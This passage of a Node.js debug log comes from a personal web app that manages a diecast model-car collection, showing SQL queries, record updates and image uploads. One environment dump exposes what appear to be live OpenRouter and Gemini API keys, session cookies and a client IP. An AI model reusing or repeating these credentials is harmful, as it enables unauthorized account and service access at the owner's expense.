      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:52.646Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:52.646Z server-connect:app Executing action step identify
2026-02-04T10:48:52.646Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:52.646Z server-connect:output identity: 1
2026-02-04T10:48:52.646Z server-connect:app Executing action step restrict
2026-02-04T10:48:52.646Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:52.647Z server-connect:output restrict: undefined
2026-02-04T10:48:52.647Z server-connect:app Executing action step paged
2026-02-04T10:48:52.647Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:52.648Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:50:09.802Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:50:09.803Z server-connect:app Executing action step identify
2026-02-04T10:50:09.803Z server-connect:app options: { provider: 'security' }
2026-02-04T10:50:09.803Z server-connect:output identity: 1
2026-02-04T10:50:09.803Z server-connect:app Executing action step restrict
2026-02-04T10:50:09.803Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:50:09.804Z server-connect:output restrict: undefined
2026-02-04T10:50:09.804Z server-connect:app Executing action step single
2026-02-04T10:50:09.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:50:09.805Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251031_223130_3e176db2-5284-4c32-a8c7-9c302d04327c.jpg'
}
2026-02-04T10:50:09.805Z server-connect:app Executing action step delete
2026-02-04T10:50:09.805Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:50:09.806Z server-connect:output delete: { affected: 1 }
2026-02-04T10:50:09.806Z server-connect:app Executing action step remove
2026-02-04T10:50:09.806Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:50:09.806Z server-connect:output fileRemove: true
2026-02-04T10:50:10.096Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:50:10.097Z server-connect:app Executing action step identify
2026-02-04T10:50:10.097Z server-connect:app options: { provider: 'security' }
2026-02-04T10:50:10.097Z server-connect:output identity: 1
2026-02-04T10:50:10.097Z server-connect:app Executing action step restrict
2026-02-04T10:50:10.097Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:50:10.097Z server-connect:output restrict: undefined
2026-02-04T10:50:10.097Z server-connect:app Executing action step paged
2026-02-04T10:50:10.097Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:50:10.101Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:50:10.393Z server-connect:router Serving templateView /
2026-02-04T10:50:10.393Z server-connect:app Executing action step identify
2026-02-04T10:50:10.393Z server-connect:app options: { provider: 'security' }
2026-02-04T10:50:10.393Z server-connect:output identity: 1
2026-02-04T10:50:10.393Z server-connect:app Executing action step restrict
2026-02-04T10:50:10.394Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:50:10.394Z server-connect:output restrict: undefined
2026-02-04T10:50:10.394Z server-connect:app Executing action step restrict
2026-02-04T10:50:10.394Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:50:10.394Z server-connect:output restrict: undefined
2026-02-04T10:50:10.394Z server-connect:router Render template layouts/main
2026-02-04T10:50:10.395Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=172&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=172&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:50:14.007Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:50:14.008Z server-connect:app Executing action step identify
2026-02-04T10:50:14.008Z server-connect:app options: { provider: 'security' }
2026-02-04T10:50:14.008Z server-connect:output identity: 1
2026-02-04T10:50:14.008Z server-connect:app Executing action step restrict
2026-02-04T10:50:14.008Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:50:14.008Z server-connect:output restrict: undefined
2026-02-04T10:50:14.008Z server-connect:app Executing action step condition
2026-02-04T10:50:14.008Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:50:14.008Z server-connect:app Executing action step update
2026-02-04T10:50:14.008Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:50:14.009Z server-connect:output update: { affected: 1 }
2026-02-04T10:50:14.009Z server-connect:app Executing action step upload
2026-02-04T10:50:14.009Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:50:14.009Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:50:14.009Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:50:14.009Z server-connect:upload Processing file: {
  name: 's-l1600.webp',
  data: <Buffer >,
  size: 104940,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-55-20378841770202214006',
  truncated: false,
  mimetype: 'image/webp',
  md5: '15180eb1d3ac08ed452f10d4b75f8ed7',
  mv: [Function: mv]
}
2026-02-04T10:50:14.009Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp',
  rel: 'public/assets/images/diecast/s-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp'
}
2026-02-04T10:50:14.010Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp',
  rel: 'assets/images/diecast/s-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp'
}
2026-02-04T10:50:14.010Z server-connect:output upload_image: [
  {
    name: 's-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp',
    path: '/public/assets/images/diecast/s-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp',
    url: '/assets/images/diecast/s-l1600_4e680411-54d4-4ddd-bb9e-f62aaa094c6d.webp',
    type: 'image/webp',
    size: 104940
  }
]
2026-02-04T10:50:14.010Z server-connect:app Executing action step repeat
2026-02-04T10:50:14.010Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:50:14.010Z server-connect:app Executing action step insert
2026-02-04T10:50:14.010Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:50:14.010Z server-connect:output images: { affected: 1, identity: 206 }
2026-02-04T10:50:14.010Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:50:14.010Z server-connect:output condition: undefined
2026-02-04T10:50:14.304Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:50:14.304Z server-connect:app Executing action step identify
2026-02-04T10:50:14.304Z server-connect:app options: { provider: 'security' }
2026-02-04T10:50:14.304Z server-connect:output identity: 1
2026-02-04T10:50:14.305Z server-connect:app Executing action step restrict
2026-02-04T10:50:14.305Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:50:14.305Z server-connect:output restrict: undefined
2026-02-04T10:50:14.305Z server-connect:app Executing action step paged
2026-02-04T10:50:14.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:50:14.308Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:52:57.411Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:52:57.411Z server-connect:app Executing action step identify
2026-02-04T10:52:57.411Z server-connect:app options: { provider: 'security' }
2026-02-04T10:52:57.412Z server-connect:output identity: 1
2026-02-04T10:52:57.412Z server-connect:app Executing action step restrict
2026-02-04T10:52:57.412Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:52:57.413Z server-connect:output restrict: undefined
2026-02-04T10:52:57.413Z server-connect:app Executing action step single
2026-02-04T10:52:57.413Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
